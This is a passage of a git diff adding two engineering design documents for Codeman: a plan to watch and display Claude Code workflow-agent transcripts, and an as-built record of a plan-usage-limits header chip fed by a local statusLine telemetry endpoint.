+The Workflow tool (what `ultracode` drives) persists each workflow agent as a transcript under the **same `subagents/` directory Codeman already watches**, one level deeper. Empirically verified against a real run (`wf_a8e09f2c-550`); **re-confirm the shape against a fresh run at implementation time** (§8 mandates a live e2e pass anyway):
+
+```
+~/.claude/projects/<projHash>/<sessionUuid>/
+  ├─ subagents/
+  │    ├─ agent-XX.jsonl                    ← regular Task subagent (tracked today)
+  │    └─ workflows/wf_<runId>/
+  │         ├─ agent-YY.jsonl               ← WORKFLOW agent — IDENTICAL line format
+  │         ├─ agent-YY.meta.json           ← {"agentType":"workflow-subagent"} (optional enrichment)
+  │         └─ journal.jsonl                ← run journal {type:"started",...} — MUST be skipped
+  └─ workflows/wf_<runId>.json              ← run state: runId, workflowName, summary, status,
+                                               phases[], workflowProgress[], totals (DIFFERENT tree)
+```
+
+The per-agent `.jsonl` line shape is identical to a regular subagent transcript:
+
+```jsonc
+{ "parentUuid": null, "isSidechain": true, "agentId": "ac6a1d27012a64e38",
+  "type": "user" | "assistant", "message": { "role": "...", "content": "..." }, ... }
+```
+
+Because the line shape is identical, the entire existing parse→event→render pipeline works unchanged once discovery reaches those files. The only new data is the **run-level metadata** in `workflows/wf_<runId>.json` (name, summary, phases, and `workflowProgress[]` — the per-agent labels/state/tools), which supplies the group header and per-agent labels.
+
+**Can show:** per-agent live transcript (tool calls, messages, results); per-agent status (active/idle/completed via the existing mtime/PID/pgrep liveness); per-agent model + running token totals (from each agent's JSONL `message.usage`, exactly as today); the run's `workflowName`/`summary`/`phases[]`; per-agent `label`/`phaseTitle`/`state`/`lastToolName` (from `workflowProgress[]`); grouping under `wf_<runId>`.
+
+**Cannot show:** anything absent from the artifacts — a live phase cursor beyond `workflowProgress[].state`; an authoritative **budget/cost ceiling** (only consumed totals exist — `usage` + run-state `totalTokens`, no remaining-budget field); runs older than `STARTUP_MAX_FILE_AGE_MS` (4h) after a server restart (live monitoring only).
+
+## 2. Architecture
+
+**Decision: EXTEND `subagent-watcher.ts` for per-agent discovery/streaming; ADD a thin `workflow-run-watcher.ts` (modeled on `team-watcher.ts`) for the group-header metadata ONLY. The agent→run-metadata join happens on the FRONTEND, so the two watchers stay decoupled.**
+
+- The per-agent JSONL is identical in shape, so re-running it through `registerAgentFile()` → `tailFile()` → `processEntry()` and the existing `subagent:*` events is free and reconnect-safe (those agents land in `agentInfo`, replayed by `getRecentSubagents(15)`). A parallel per-agent watcher would duplicate the liveness/token/tool-call/SSE machinery for zero benefit.
+- Run metadata lives in a *different* file under a *different* tree (`workflows/wf_<runId>.json`, sibling to `subagents/`). A small `WorkflowRunWatcher` watching `projects/*/*/workflows/wf_*.json` (mtime-skip, like `team-watcher`'s `configMtimes`) is the clean home; folding it into `subagent-watcher` would entangle two unrelated watch roots and put a JSON re-read in the hot per-line path.
+- **The two watchers never call each other.** The frontend receives both streams and joins agent→label by `agentId` at render time (the run object carries every agent's entry). This removes the timing coupling entirely.
+
+```
+~/.claude/projects/<projHash>/<sessionUuid>/
+  ├─ subagents/
+  │    ├─ agent-XX.jsonl ──────────────► SubagentWatcher (EXTENDED: also descends
+  │    └─ workflows/wf_<runId>/                workflows/wf_<runId>/, tags isWorkflowAgent+runId)
+  │         ├─ agent-YY.jsonl ─┐           reuse registerAgentFile/tailFile/processEntry
+  │         └─ journal.jsonl (SKIP)        emits subagent:* (now w/ 2 workflow fields)
+  └─ workflows/wf_<runId>.json ──────► WorkflowRunWatcher (NEW, team-watcher-shaped)
+       {workflowName,phases,workflowProgress[]}   emits workflow:run_discovered|updated|removed
+
+                         server.ts
+   setupSubagentWatcherListeners()    ──► broadcast(subagent:*)     ─┐
+   setupWorkflowRunWatcherListeners() ──► broadcast(workflow:run_*)  │ SSE
+   getLightState(): subagents + workflowRuns ───────────────────────┘
+                              │
+                              ▼  app.js dispatch table
+   panels-ui: partition this.subagents by workflowRunId; header + per-agent
+   labels JOINED from this.workflowRuns.get(runId).agents (by agentId)
+```
+
+## 3. Backend changes (ordered, file-by-file)
+
+### 3a. `src/subagent-watcher.ts` — nested discovery + 2 tag fields
+
+**(1) Extend `SubagentInfo` with exactly two optional fields** (optional → regular subagents and the wire shape are unaffected):
+
+```ts
+isWorkflowAgent?: boolean;   // true when discovered under subagents/workflows/<wf_runId>/
+workflowRunId?: string;      // e.g. "wf_23dbeab2-152" (parent dir name)
+```
+
+Both are derived from the **file path alone** at registration — no extra reads. They ride existing `subagent:discovered|updated|completed` payloads (no new per-agent event). Do **not** add `agentType`/`label`/`phase`/`workflowName` here — those come from the run object on the frontend (§4c).
+
+**(2) Constant.** `const WORKFLOWS_SUBDIR = 'workflows';` near the existing dir constants.
+
+**(3) `watchSubagentDir()` — descend into `workflows/<wf_runId>/`.** After the existing direct-child registration loop:
+
+```ts
+// Workflow agents live one level deeper: subagents/workflows/<wf_runId>/agent-*.jsonl
+const wfRoot = join(dir, WORKFLOWS_SUBDIR);
+try {
+  for (const runId of await readdir(wfRoot)) {
+    if (!runId.startsWith('wf_')) continue;
+    await this.watchWorkflowRunDir(join(wfRoot, runId), projectHash, sessionId, runId);
+  }
+} catch { /* no workflows subdir — normal for most sessions */ }
+```
+
+The existing `fs.watch(dir, …)` on `subagents/` is **non-recursive on Linux** and won't fire for writes inside `workflows/<runId>/`, so each run dir needs its own watcher.
+
+**(4) New private `watchWorkflowRunDir(runDir, projectHash, sessionId, runId)`** — clone `watchSubagentDir`'s structure, but:
+- Register only files matching `^agent-.*\.jsonl$`, **explicitly skipping `journal.jsonl`** (it ends in `.jsonl` but is `{type:'started',…}`, not a transcript — registering it would create a phantom agent).
+- Call `registerAgentFile(filePath, projectHash, sessionId, isInitialScan, runId)` so the agent is tagged.
+- Install one `watch(runDir, …)` per run dir; on `error` and `stop()`, reuse the existing teardown (close + delete from `dirWatchers`/`knownSubagentDirs`/`dirWatcherErrorHandlers`).
+- Guard re-registration **per run dir** in `knownSubagentDirs`, **not** `wfRoot` — the 5s full scan must still re-`readdir(wfRoot)` to pick up *new* `wf_<runId>` dirs created mid-session.
+
+**(5) `registerAgentFile()` — accept + apply `runId`.** Add a trailing optional `runId?: string`. When set, the whole change is:
+
+```ts
+if (runId) { info.isWorkflowAgent = true; info.workflowRunId = runId; }
+```
+
+No `meta.json` read, no run-state lookup, no description override. `agentId`s are globally unique `a<16hex>` (verified: 0 collisions across a 370-agent corpus), so keep the flat `agentInfo` map keyed by `agentId` — do **not** switch to a composite key. Add a one-line dev-assert log if `agentInfo.has(agentId)` with a *different* `workflowRunId`, so a future collision is observable.
+
+**(6) `isInternalAgent` bypass — BOTH drop sites.** Workflow agents have no Task-tool spawn record, so `_resolveDescription` yields only the first-user-message fallback (often a long phase prompt) or empty → `isInternalAgent` (`length < MIN_DESCRIPTION_LENGTH`) would wrongly drop them. They are real by construction (the `subagents/workflows/wf_*/` path is the discriminator). Gate the drop on `!info.isWorkflowAgent` at **both** places:
+- `registerAgentFile` initial check (`isInternalAgent(description)`),
+- `processEntry`'s late re-resolution (the second `isInternalAgent` call).
+
+**(7) `stop()` teardown.** Per-run watchers live in `dirWatchers`, so the existing close-all loop covers them — verify no separate map was introduced (24h runs spawn many `wf_<runId>` dirs → FSWatcher leak risk).
+
+### 3b. NEW `src/workflow-run-watcher.ts` (singleton, EventEmitter — model on `team-watcher.ts`)
+
+- **Watch root:** `~/.claude/projects/<projHash>/<sessionUuid>/workflows/wf_*.json` — **two** levels under `projects` (verified: `projects/*/workflows` is empty; must be `projects/*/*/workflows/`). chokidar `depth:3` + a poll fallback, mirroring `team-watcher`'s dual discovery + interval.
+- **mtime-skip:** `runMtimes: Map<absPath, number>` (mirror `team-watcher.configMtimes`).
+- **Parse:** read `wf_<runId>.json`, take the **top-level structured keys** (`runId`, `workflowName`, `summary`, `status`, `phases:[{title,detail}]`, `agentCount`, `defaultModel`, `durationMs`, `totalTokens`, `totalToolCalls`, `workflowProgress[]`). **Do NOT parse the embedded `script` string** — name/phases/summary are already top-level; the script's `export const meta` is redundant and costly. Derive `sessionUuid` from the dir name, `projectHash` from the dir above; expose `getProjectHash(workingDir)` for Codeman-session correlation.
+- **`workflowProgress[] → agents[]`:** filter `type === 'workflow_agent'`, map each to a `WorkflowAgentEntry` (§3c) keyed by `agentId`. **This array is the join source the frontend uses** — no backend `getAgentLabel()` API, no TTL cache, no import from `subagent-watcher`.
+- **Emit** `workflow:run_discovered|updated|removed` carrying `WorkflowRunInfo`; removal by set-diff (mirror `team-watcher`).
+- **Lifecycle:** `start()`/`stop()` with `CleanupManager` teardown of chokidar + interval + caches; `LRUMap`-bounded run cache (24h memory rule).
+
+### 3c. `src/types/` — workflow run types
+
+```ts
+export interface WorkflowAgentEntry {   // one workflowProgress[type==='workflow_agent']
+  agentId: string; label: string; phaseIndex?: number; phaseTitle?: string;
+  agentType?: string; model?: string; state?: string;       // 'done'|'running'|'queued'|...
+  lastToolName?: string; lastToolSummary?: string; tokens?: number; toolCalls?: number;
+}
+export interface WorkflowRunInfo {
+  runId: string; sessionUuid: string; projectHash: string;
+  workflowName?: string; summary?: string; status?: string;  // 'running'|'completed'|...
+  phases: Array<{ title: string; detail?: string }>;
+  agentCount?: number; defaultModel?: string;
+  agents: WorkflowAgentEntry[];          // workflowProgress filtered to workflow_agent, keyed by agentId
+  startedAt?: number; durationMs?: number; totalTokens?: number; totalToolCalls?: number;
+}
+```
+
+The two `SubagentInfo` workflow fields stay inline in `subagent-watcher.ts` (matching the existing convention).
+
+### 3d. `src/web/sse-events.ts` — register run events
+
+Add `workflow:run_discovered`, `workflow:run_updated`, `workflow:run_removed` after the `subagent:*` block and to the `SseEvent` union. **No new per-agent event** — workflow agents reuse `subagent:*`.
+
+### 3e. `src/web/server.ts` — bridge, snapshot, gating
+
+- **`setupWorkflowRunWatcherListeners()`** (beside `setupSubagentWatcherListeners`): map the three run events → `this.broadcast(...)`. Add `cleanupWorkflowRunWatcherListeners()` (store handler refs).
+- **Start/stop:** call `workflowRunWatcher.start()`/`.stop()` beside `subagentWatcher`, **gated on the same enable condition** (§3f).
+- **`getLightState()`:** add `workflowRuns: workflowRunWatcher.getRecentRuns(15)` beside `subagents: subagentWatcher.getRecentSubagents(15)` so headers replay on reconnect (agents already replay via `subagents`). Keep the `LIGHT_STATE_CACHE_TTL_MS` memoization.
+- **Gating read:** add `isWorkflowAgentTrackingEnabled()` mirroring `isSubagentTrackingEnabled()` (boot-time `dataPath('settings.json')` read). Gate `workflowRunWatcher.start()` **and** the subagent-watcher `workflows/` descent (§3a-3) on `showUltracodeAgents` so non-opted-in users never register historical workflow agents.
+
+### 3f. `src/web/schemas.ts` — settings key
+
+Add `showUltracodeAgents: z.boolean().optional()` to the `.strict()` settings update schema near `showPlanUsageLimits` (required — `.strict()` 400s the whole PUT on an unknown key).
+
+### 3g. `src/web/routes/system-routes.ts` — poll API
+
+- `GET /api/subagents` and `GET /api/sessions/:id/subagents` include workflow agents once registered — **no change** (they carry `isWorkflowAgent`/`workflowRunId`; a consumer joins to `/api/workflows/:runId` for labels).
+- Add `GET /api/workflows` → `workflowRunWatcher.getRecentRuns()` and `GET /api/workflows/:runId` (uniform `ApiResponse` contract; headers are also in `getLightState`).
+- `GET /api/subagents/:agentId/transcript` works for workflow agents (they're in `agentInfo`) — no new route.
+
+## 4. Frontend changes (file-by-file)
+
+### 4a. `src/web/public/constants.js`
+- Add the three SSE strings to `SSE_EVENTS`, matching §3d exactly (`WORKFLOW_RUN_DISCOVERED: 'workflow:run_discovered'`, etc.).
+- Reuse `ZINDEX_SUBAGENT_BASE=1000` for the agent windows (they ARE subagent windows). The group **header/cluster** is in-flow panel DOM, not a floating window — no new z-index (1100 is plan-subagent).
+
+### 4b. `src/web/public/app.js`
+- Constructor: `this.workflowRuns = new Map();  // runId -> WorkflowRunInfo` beside `this.subagents`.
+- `_SSE_HANDLER_MAP`: add three rows → `_onWorkflowRunDiscovered/Updated/Removed` (must exist before `connectSSE` builds the wrappers).
+- `handleInit`: after seeding `data.subagents`, seed `this.workflowRuns` from `data.workflowRuns` (clear-then-set). **Clear `this.workflowRuns` everywhere the subagent Maps are cleared** (incl. `cleanupAllFloatingWindows`) — 24h leak guard.
+
+### 4c. `src/web/public/panels-ui.js` — the join lives here
+- `_onWorkflowRunDiscovered/Updated(data)` → `this.workflowRuns.set(data.runId, data)` + debounced re-render; `_onWorkflowRunRemoved` → delete + re-render.
+- **No change to `_onSubagentDiscovered/Updated`** — they already store the whole payload, so the 2 new fields ride along.
+- `renderSubagentPanel`/`_renderSubagentPanelImmediate`: when `showUltracodeAgents` is on, **partition `this.subagents` into flat (no `workflowRunId`) vs grouped-by-`workflowRunId`**. Flat agents render exactly as today. For each group: build the header from `this.workflowRuns.get(runId)` (`workflowName` + phase/status chip from `phases[]`), then render that run's agents reusing the existing per-agent row markup. **Per-agent label/phase/agentType come from the JOIN** — build `Map(agentId → entry)` from `this.workflowRuns.get(runId).agents` and look each agent up by `agent.agentId`; render the small chip via the `getTeammateBadgeHtml` pattern. (If the run object hasn't arrived yet, fall back to the agent's own `description` — the run `:updated` event will fill it in on the next render.)
+- `findParentSessionForSubagent` is unchanged — workflow agent `sessionId === session.claudeSessionId`. **Do not conflate `workflowRunId` with `sessionId`.**
+
+### 4d. `src/web/public/subagent-windows.js`
+**Decision: REUSE `.subagent-window` per agent + a group sub-header — do NOT build a cluster class.** A cluster path duplicates Map/z-index/drag/cleanup/persistence for no functional gain; reuse keeps connection lines, minimize-to-tab, and `localStorage` persistence. In `openSubagentWindow`, where the optional `.subagent-window-parent` sub-header is built: when `agent.workflowRunId` is set, inject a `.subagent-workflow-header` showing `this.workflowRuns.get(runId)?.workflowName` + the joined agent's `label`/phase (look up by `agentId`), mirroring the `from <session>` sub-header. Respect the existing skip guards (teammate-terminal windows, minimized/`_lazyTerminal`).
+
+**Do NOT auto-open windows** for workflow agents — a multi-phase run can spawn many, against the 50-window/60fps budget + `MAX_TRACKED_AGENTS=500`. They render collapsed in the grouped panel; the user expands via the existing panel buttons.
+
+### 4e. `src/web/public/settings-ui.js` + `index.html`
+- `index.html` Panels block: add a `settings-item` checkbox `id="appSettingsShowUltracodeAgents"` ("Show ULTRACODE / Workflow Agents").
+- `openAppSettings`: load `settings.showUltracodeAgents` with `false` fallback (mirror `showPlanUsageLimits`).
+- `saveAppSettings`: collect `showUltracodeAgents` into the fresh settings literal (uncollected keys reset to default every save).
+- Live-apply on toggle: re-run `renderSubagentPanel()` (show/hide group sections) — a panel re-render, not a CSS-class strip.
+- **SYNCED, not per-device:** do NOT add `showUltracodeAgents` to `displayKeys` and do NOT strip it in the per-device block. A synced value gives the server-side gate (`isWorkflowAgentTrackingEnabled`, §3e) one canonical truth to decide whether to run the watcher; a per-device value can't gate a process-wide watcher. (Contrast `showResponseViewer`, pure client display.)
+- `styles.css` + `mobile.css`: add `.subagent-workflow-header` and `.subagent-group-badge` next to `.subagent-window-parent`; mirror device overrides in `mobile.css`.
+
+## 5. Settings / opt-in wiring
+
+- **Key:** `showUltracodeAgents` (boolean, **default OFF**). Fallback `false` in `openAppSettings`; "absent ⇒ off" in `isWorkflowAgentTrackingEnabled()`. Schema `z.boolean().optional()` in the `.strict()` update schema, kept OUT of `displayKeys` (synced).
+- **Runtime gating:** `workflowRunWatcher.start()` and the subagent-watcher `workflows/` descent run only when the boot-time `settings.json` read reports `showUltracodeAgents === true` (mirroring `isSubagentTrackingEnabled`). The frontend additionally gates display. Toggling at runtime gates **display** immediately (panel re-render); the **watcher branch** picks up on next boot — matches existing `subagentTrackingEnabled` semantics. (Optional polish: restart just the workflow watcher on toggle for instant on/off.)
+
+## 6. SSE events
+
+**Reused (no change):** `subagent:discovered|updated|tool_call|tool_result|progress|message|completed`. Workflow agents flow through these; payloads now carry the optional `isWorkflowAgent`/`workflowRunId` fields on `SubagentInfo`. SSE payloads aren't schema-gated (typed only at `broadcast()` call sites), so the new fields propagate with zero friction.
+
+**New (3 events, run-level metadata):**
+
+| Event (backend const / frontend key) | Payload |
+|---|---|
+| `workflow:run_discovered` / `WORKFLOW_RUN_DISCOVERED` | `WorkflowRunInfo` |
+| `workflow:run_updated` / `WORKFLOW_RUN_UPDATED` | `WorkflowRunInfo` |
+| `workflow:run_removed` / `WORKFLOW_RUN_REMOVED` | `{ runId: string }` |
+
+Sync requirement (CLAUDE.md): each must appear in **both** `sse-events.ts` (§3d) and `constants.js` `SSE_EVENTS` (§4a), be emitted via `broadcast()` in `setupWorkflowRunWatcherListeners()` (§3e), and have a dispatch-table row + `_on*` handler (§4b/§4c).
+
+## 7. Edge cases & cleanup
+
+- **`journal.jsonl` phantom-agent trap** — owned by §3a-4: run-dir registration requires the `agent-` prefix and excludes `journal.jsonl`.
+- **`isInternalAgent` over-filtering** — owned by §3a-6: bypass at BOTH drop sites; titled from the frontend join (or the description fallback).
+- **No workflow agents in the flat list** — `renderSubagentPanel` partitions on `agent.workflowRunId` (§4c). When the toggle is OFF, the descent never ran, so they aren't in `this.subagents` at all.
+- **Completion/idle** — keep the existing per-agent mtime/PID/pgrep liveness as the per-card source of truth. Optionally render a group-level "workflow done" badge from run-state `status==='completed'`.
+- **Limits** — `MAX_TRACKED_AGENTS=500` LRU-evicts workflow agents in the same flat map; no auto-open (50-window budget); the 4h `STARTUP_MAX_FILE_AGE_MS` skip means a run completed >4h ago won't reload after restart (acceptable — live monitoring).
+- **Reconnect/replay** — agents via `getRecentSubagents(15)`; headers via `workflowRuns: getRecentRuns(15)` in `getLightState`. `handleInit` clears `this.workflowRuns` alongside the subagent Maps.
+- **Watcher teardown** — every per-run `fs.watch` and the chokidar watcher closes in `stop()` and on `error`; `CleanupManager` for the new watcher (24h runs create many run dirs).
+- **CLAUDE.md discipline** — read-only `~/.claude/...` artifacts; no new `~/.codeman/...` paths, no env-var prefixes touched. Claude-mode-only by nature (external CLIs don't write workflow transcripts).
+
+## 8. Testing & verification
+
+- **Unit (pure):**
+  - `test/workflow-run-watcher.test.ts`: feed a scrubbed fixture `wf_<runId>.json` → assert `WorkflowRunInfo` extraction (name/summary/phases, `workflowProgress`→`agents[]` keyed by `agentId`), mtime-skip, removal-by-set-diff.
+  - Extend `subagent-watcher` coverage: temp `subagents/workflows/wf_X/agent-Y.jsonl` + a stray `journal.jsonl` → assert `agent-Y` registered with `isWorkflowAgent`/`workflowRunId` and `journal.jsonl` NOT registered; assert a short-description workflow agent is NOT dropped at **either** `isInternalAgent` site.
+- **Route/inject (`app.inject`):** `GET /api/workflows` + `:runId` return the `ApiResponse` envelope; `GET /api/subagents` includes a tagged agent.
+- **Frontend (vm-sandbox, like `test/run-mode-ui.test.ts`):** dispatch `subagent:discovered` with `workflowRunId` + `workflow:run_discovered` → assert `renderSubagentPanel` produces a group section under the workflow name with the agent inside it (label sourced from the **join**, not flat); assert order-independence (agent before run, and run before agent both resolve); assert OFF hides the section.
+- **REQUIRED real end-to-end** (the always-end-to-end-test rule — the plan-usage chip shipped *dead* from a gate mismatch): on dev/beta with `showUltracodeAgents` ON, **drive a real ultracode/workflow run**, then (1) `curl …/api/workflows | jq` shows the live run with `agents[]`; (2) `curl …/api/subagents | jq '.data[]|select(.isWorkflowAgent)'` shows tagged agents; (3) watch `/api/events` for `workflow:run_discovered` + `subagent:discovered` with the workflow fields; (4) Playwright (`waitUntil:'domcontentloaded'`, wait 3–4s) asserts the grouped DOM cluster renders with the workflow-name header and live status. Verify path gates against `GET /api/sessions` `workingDir`. **Test against a LIVE run** — all at-rest runs are `completed`/`done`; `running`/`queued` states only exist mid-run.
+
+## 9. Phased rollout
+
+| Phase | Scope | Done-check | Size |
+|---|---|---|---|
+| **P1 — Backend discovery + tagging (gated, no UI)** | §3a (nested descent, `journal.jsonl` skip, 2 `SubagentInfo` fields, `isInternalAgent` bypass ×2) + §3f schema key + §3e gate read. No run watcher yet. | With `showUltracodeAgents` forced on, `curl /api/subagents \| jq '.data[]\|select(.isWorkflowAgent)'` lists real workflow agents during a live run; flat subagents unchanged; `tsc --noEmit` + targeted watcher test green. | S–M |
+| **P2 — Run-state metadata + SSE** | §3b (`workflow-run-watcher.ts`) + §3c types + §3d/§3e (SSE, bridge, `getLightState` replay) + §3g routes. | `curl /api/workflows \| jq` returns runs with `agents[]`/`phases`; SSE emits `workflow:run_discovered`; reconnect snapshot carries `workflowRuns`. | M |
+| **P3 — Frontend grouped UI** | §4a–§4d (constants, app.js state/dispatch/init, panels-ui grouped render + **agent→label join**, subagent-windows group sub-header). Reuse `.subagent-window`; no auto-open. | Playwright: live run renders a group section under the workflow name with per-agent rows + live status + joined labels; flat subagents stay flat; expand opens a window with the workflow sub-header. | M |
+| **P4 — Settings toggle + polish + docs** | §4e (checkbox, settings-ui load/save/live-apply, SYNCED), styles/mobile, phase chips, CLAUDE.md "Key Patterns" entry + this doc's status → SHIPPED. | Toggling the checkbox shows/hides the cluster live (no reload for display); OFF by default on a fresh install; CI green. | S |
+
+Each phase is independently shippable: P1 is invisible (gated, no UI), P2 adds an API with no UI dependency, P3 lights up the UI for flag-enablers, P4 exposes the toggle and finalizes defaults/docs.
+
+## 10. Effort & risk
+
+**Size:** P1 = S–M, P2 = M, P3 = M, P4 = S. Total ≈ **M** (one focused engineer, ~2–4 days incl. the real end-to-end run — down from the first draft's M-L now that the backend join/coupling is gone).
+
+**Top 3 risks:**
+
+1. **Non-recursive watch on Linux misses live writes.** `fs.watch` is non-recursive and `{recursive:true}` is unreliable on Linux → per-`wf_<runId>` watchers (§3a-4) are correct, but the 5s full scan must re-`readdir(wfRoot)` to catch *new* run dirs mid-session, and each watcher must be torn down to avoid FSWatcher leaks in 24h runs. Mitigation: explicit per-run-dir registration + verified `dirWatchers` teardown; chokidar (with `CleanupManager`) only in the new run watcher, where `team-watcher` already proves the pattern.
+2. **Discovery cost / over-registration.** A user with hundreds of historical workflow agents could flood `agentInfo` on boot. Mitigation: the 4h `STARTUP_MAX_FILE_AGE_MS` skip drops old files on the initial scan, the descent only runs when the toggle is on, and `MAX_TRACKED_AGENTS=500` LRU-evicts. Verify boot scan time doesn't regress with the corpus present.
+3. **Shipping-dead-on-a-gate** (the repo's recurring failure mode — the plan-usage chip shipped dead because injection was gated on `CASES_DIR` while real sessions ran elsewhere). Same trap here if the path/mode gate is wrong (e.g. `projects/*/workflows` instead of `projects/*/*/workflows`, or correlation via the wrong session key). Mitigation: the **mandatory live ultracode end-to-end run** in §8 against a real session's `workingDir`, observing the real SSE event + real DOM cluster — not the at-rest corpus, not unit tests alone.

docs/usage-limits-display-plan.md

@@ -0,0 +1,169 @@
+# Plan Usage Limits Display — Design & As-Built
+
+> **Status: SHIPPED — deployed to prod + pushed to master, not yet released (2026-06-14).** Opt-in via App Settings → Display → **Plan Usage Limits** (`showPlanUsageLimits`, default OFF). Commits `c82f6c8` (feature) → `4d9d93d` (end-to-end fixes) → `eae225b` (per-user reconcile) → `95fb5fc` (init-snapshot replay). Full suite green (2869), CI green. No changeset/version bump yet.
+>
+> Two surfaces from one `statusLine` callback:
+> - **Header chip** (top-right) — account-wide **plan limits**: `5h 35% · 7d 38%`, per-window green/yellow/red.
+> - **In-terminal statusline footer** — the **current session's** status: `Opus 4.8 (1M context)  in:562,411 out:1,188  ctx:56%`.
+>
+> The `rate_limits` JSON schema below was **empirically confirmed** against Claude Code 2.1.177 on a Claude Max account; see the Verification appendix to reproduce.
+
+## Problem
+
+Codeman had no proactive view of how much of the Claude subscription is left. It only learned about limits **reactively**: `usage-limit-patterns.ts` regex-scrapes ANSI-stripped terminal output for footer strings like `5-hour limit reached ∙ resets 8pm`, extracting only the **reset time**, and only *after* Claude has already stalled. There was no "73% of your 5-hour limit used" anywhere.
+
+We wanted a live, always-visible gauge so the operator can see a wall coming and pace overnight/autonomous runs — without hijacking the in-terminal statusline, which should keep showing the current session's status.
+
+## Data source: the statusline `rate_limits` JSON
+
+Claude Code (**v2.1.80+**; prod box runs **2.1.177**) pipes a JSON blob to a configured `statusLine.command` on stdin after each render. On Pro/Max subscriptions that blob includes `rate_limits`. **This is the only channel that exposes plan-limit data** (see rejected alternatives) — so the feature *must* set a statusLine command, which is why the footer is also reconstructed by it (below).
+
+### Confirmed schema (real captured payload)
+
+```jsonc
+"rate_limits": {
+  "five_hour": { "used_percentage": 15, "resets_at": 1781409000 },  // → 2026-06-14T03:50:00Z
+  "seven_day": { "used_percentage": 34, "resets_at": 1781827200 }   // → 2026-06-19T00:00:00Z
+}
+```
+
+| Field | Type | Notes |
+|-------|------|-------|
+| `rate_limits.five_hour.used_percentage` | `number` 0–100 | Integer-valued in practice; treat as `number`, don't assume decimals. |
+| `rate_limits.five_hour.resets_at` | `number` | **Epoch SECONDS** (10 digits). `×1000` for a JS `Date`. |
+| `rate_limits.seven_day.{used_percentage,resets_at}` | same | |
+
+**Confirmed facts & gotchas:**
+
+- **Only two windows exist: `five_hour` and `seven_day`.** There is **no separate Opus-weekly field**, even on a Max/Opus account.
+- `rate_limits` is **absent on the first render**, **present after the first API response**. UI degrades to "no chip yet."
+- statusLine fires **only in interactive TUI mode**, never `--print`. Fine — Codeman sessions are interactive TUIs (and so are Codeman-spawned ones in tmux).
+- **Subscriber-gated.** Absent for API-key / non-subscriber auth.
+
+### Bonus telemetry in the same payload — used for the footer
+
+The same stdin object also carries `model.display_name`, `context_window.{used_percentage, total_input_tokens, total_output_tokens, …}`, `cost.total_cost_usd`, `effort.level`, etc. The shipped feature uses **model + token totals + context %** to build the in-terminal footer (so the statusline stays useful even though we own it). The endpoint also broadcasts `contextUsedPercentage`/`costUsd`/`modelDisplayName` alongside the limits for future chip tooltips.
+
+### Alternatives considered & rejected
+
+| Source | Why not |
+|--------|---------|
+| OAuth endpoint `api.anthropic.com/api/oauth/usage` | Undocumented, aggressively rate-limited, needs the **encrypted** OAuth token. Only worth it for *dollar spend*. |
+| `/usage` slash command | Interactive-only, no programmatic output. |
+| On-disk `~/.claude/` files | No usage state persisted (only `daemon.status.json` = auto-updater supervisor). |
+| CLI flag (`claude usage` / `--check-usage`) | Does not exist. |
+| `StopFailure` hook | Carries only an `error_type` on *failure* — no live percentages. |
+
+## As-built architecture
+
+```
+Claude TUI (any Claude session, incl. linked-case/real-repo sessions)
+  │  renders statusline after each assistant msg (+ /compact, mode change)
+  ▼
+statusLine.command (settings.local.json)  ──reads stdin JSON──▶
+  curl -sk POST $CODEMAN_API_URL/api/status-telemetry  {sessionId, data}
+  (X-Codeman-Hook-Secret: $(cat $CODEMAN_HOOK_SECRET_FILE))
+  │  ◀── HTTP 200 text/plain = current-SESSION status string ──┘
+  ▼
+printf '%s' "$body"  →  in-terminal footer: "Opus 4.8 (1M context)  in:… out:…  ctx:…%"
+
+server (status-telemetry-routes.ts):
+  parse rate_limits  → (if changed) store last-known + broadcast SSE session:statusTelemetry  → header chip
+  parse model/tokens/ctx → return the session-status footer string
+  ▼
+app.js: _onSessionStatusTelemetry → chip (per-window colors) + localStorage save
+        handleInit → chip from init-snapshot planUsage (fresh-load replay)
+```
+
+### 1. The exporter — `generateStatusLineCommand()` in `hooks-config.ts`
+
+Mirrors the hook `curlCmd()`. Reads the stdin JSON, POSTs `{sessionId, data}` to a **fixed** loopback path, and prints the response body back to stdout (print-through, so the footer stays useful). The managed-session env carries `$CODEMAN_SESSION_ID` / `$CODEMAN_API_URL` / `$CODEMAN_HOOK_SECRET_FILE` (from `tmux-manager.buildEnvExports()`).
+
+```bash
+INPUT=$(cat 2>/dev/null || echo '{}'); \
+printf '{"sessionId":"%s","data":%s}' "$CODEMAN_SESSION_ID" "$INPUT" | \
+curl -sk -X POST "$CODEMAN_API_URL/api/status-telemetry" \
+  -H 'Content-Type: application/json' \
+  -H "X-Codeman-Hook-Secret: $(cat "$CODEMAN_HOOK_SECRET_FILE" 2>/dev/null)" \
+  --data @- 2>/dev/null || echo codeman
+```
+
+⚠️ **`curl -sk`, not `curl -s`.** Prod is loopback **HTTPS with a self-signed cert**; without `-k`, curl returns `000` and the statusline silently shows nothing. `-k` is safe (loopback only). *(The existing hook curls use `-s` without `-k` and have the same latent issue on HTTPS installs — a known, separate follow-up.)*
+
+### 2. Endpoint — `POST /api/status-telemetry` (`status-telemetry-routes.ts`)
+
+Fixed path (sessionId in the **body**, not the URL) so the auth exemption is an exact-match like `/api/hook-event` (`middleware/auth.ts`: loopback-only; `X-Codeman-Hook-Secret`-gated while a tunnel runs). Schema `StatusTelemetrySchema` in `schemas.ts` validates the subset; unknown keys are stripped. Pure parsing/formatting in `usage-telemetry.ts`:
+
+- `parseStatusTelemetry(data)` → `{ fiveHour, sevenDay, … }` or `null`. On change (signature dedup; statusline fires often), store last-known (`plan-usage-latest.ts`) and `broadcast('session:statusTelemetry', { sessionId, …telemetry })`.
+- `parseSessionStatus(data)` + `formatSessionStatusText()` → the **footer** string `Opus 4.8 (1M context)  in:562,411 out:1,188  ctx:56%` (returned as `text/plain`). Available from the first render, even before `rate_limits` appears.
+
+### 3. SSE + frontend chip
+
+`session:statusTelemetry` registered in `sse-events.ts` + `constants.js`. `app.js`:
+- `_onSessionStatusTelemetry` → `updatePlanUsageChip(data)` + save to `localStorage['codeman:planUsage']`.
+- `updatePlanUsageChip` renders two `5h`/`7d` windows; **per-window color by usage** — green `<60%`, yellow `60–84%`, red `≥85%` (`pu-green/pu-yellow/pu-red`); bold labels/values; reset times in the tooltip. `resets_at*1000 → Date`.
+- Chip element ships hidden (`header-plan-usage--hidden`); `applyHeaderVisibilitySettings()` reveals it client-side when the setting is on (response-viewer pattern — **no `renderIndexHtml` strip**, which kept the "title-only" render contract intact).
+
+### 4. Chip data robustness — three layers
+
+1. **Live:** `session:statusTelemetry` SSE on every distinct render.
